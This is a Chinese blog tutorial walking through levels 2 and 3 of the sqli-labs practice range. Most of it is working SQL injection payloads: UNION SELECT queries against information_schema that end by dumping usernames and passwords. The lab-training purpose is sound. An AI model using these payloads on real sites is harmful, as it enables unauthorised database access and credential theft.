目錄
前言
一、sqli靶場第二關
1.1 判斷注入類型
1.2?判斷數據表中的列數
1.3?使用union聯合查詢
1.4 使用group_concat()函數
1.5 爆出users表中的列名
1.6 爆出users表中的數據
二、sqli靶場第三關
2.1 判斷注入類型
2.2 觀察報錯??
2.3?判斷數據表中的列數
2.4?使用union聯合查詢
2.5 使用group_concat()函數
2.6 爆出users表中的列名
2.7 爆出users表中的數據
🌈嗨!我是Filotimo__🌈。很高興與大家相識,希望我的博客能對你有所幫助。
💡本文由Filotimo__??原創,首發于CSDN📚。
📣如需轉載,請事先與我聯系以獲得授權??。
🎁歡迎大家給我點贊👍、收藏??,并在留言區📝與我互動,這些都是我前進的動力!
🌟我的格言:森林草木都有自己認為對的角度🌟。
前言
sqli靶場第一關:https://filotimo.blog.csdn.net/article/details/134626587?spm=1001.2014.3001.5502
一、sqli靶場第二關
1.1 判斷注入類型
輸入?id=1',顯示語法錯誤。
輸入?id=1'',顯示語法錯誤。
輸入?id=1/1,正常回顯。
輸入?id=1/0,爆出如下頁面:
證明存在數字型注入。
1.2?判斷數據表中的列數
介紹一個方法:二分法
其基本思想是將待查找的區間不斷二分,以縮小查找范圍,直到找到目標元素。
輸入?id=1 order by 10 --+,出現回顯Unknown column '10' in 'order clause'。
用一下二分法,輸入?id=1 order by 5 --+,仍然回顯Unknown column '10' in 'order clause'。
繼續,輸入?id=1 order by 3 --+,正常回顯。
輸入?id=1 order by 4 --+,回顯Unknown column '10' in 'order clause'。
說明列數為3。
1.3?使用union聯合查詢
聯合查詢是 sql中用于將兩個或多個查詢的結果集組合成一個結果集的操作。使用union聯合查詢的前提是被聯合的查詢必須擁有相同數量的列,列的數據類型必須兼容。
輸入?id=0 union select 1,2,3--+,用來判斷回顯位,其中的0是不存在的id值,這是為了使后方語句union select 1,2,3能夠執行,頁面如下:
輸入?id=0 union select 1,2,database()--+爆出數據庫名
1.4 使用group_concat()函數
group_concat()函數是 MySQL 中的聚合函數,用于將多行數據按照指定的分隔符連接為一個字符串。
構造:
?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆出了表名:
1.5 爆出users表中的列名
構造:
?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
獲得了users表中的列名:
1.6 爆出users表中的數據
查看users表中所有的用戶:
?id=0 union select 1,2,group_concat(username) from security.users --+
查看users表中所有的用戶密碼:
?id=0 union select 1,2,group_concat(password) from security.users --+
用concat_ws(':',A,B)函數,拼接用戶名和密碼,使其成對出現
?id=0 union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+
二、sqli靶場第三關
2.1 判斷注入類型
輸入?id=1',顯示語法錯誤。
輸入?id=1'',正常回顯。
輸入?id=1/1,正常回顯。
輸入?id=1/0,正常回顯。
判斷為字符型注入(初步判斷為單引號閉合)。
2.2 觀察報錯??
報錯信息為''1'') LIMIT 0,1'?
進一步判斷為')閉合
輸入?id=1') --+,正常回顯。
2.3?判斷數據表中的列數
輸入?id=1') order by 3 --+,正常回顯。
輸入?id=1') order by 4 --+,顯示超出。
用二分法與order by確定列數為3
2.4?使用union聯合查詢
輸入?id=0') union select 1,2,3--+,判斷回顯位,頁面如下:
輸入?id=0') union select 1,2,database()--+爆出數據庫名:
2.5 使用group_concat()函數
輸入:
?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆出表名:
2.6 爆出users表中的列名
輸入:
?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
獲得了users表中的列名:
2.7 爆出users表中的數據
查看users表中所有的用戶:
?id=0') union select 1,2,group_concat(username) from security.users --+
查看users表中所有的用戶密碼:
?id=0') union select 1,2,group_concat(password) from security.users --+
用concat_ws(':',A,B)函數,拼接用戶名和密碼,使其成對出現
?id=0') union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+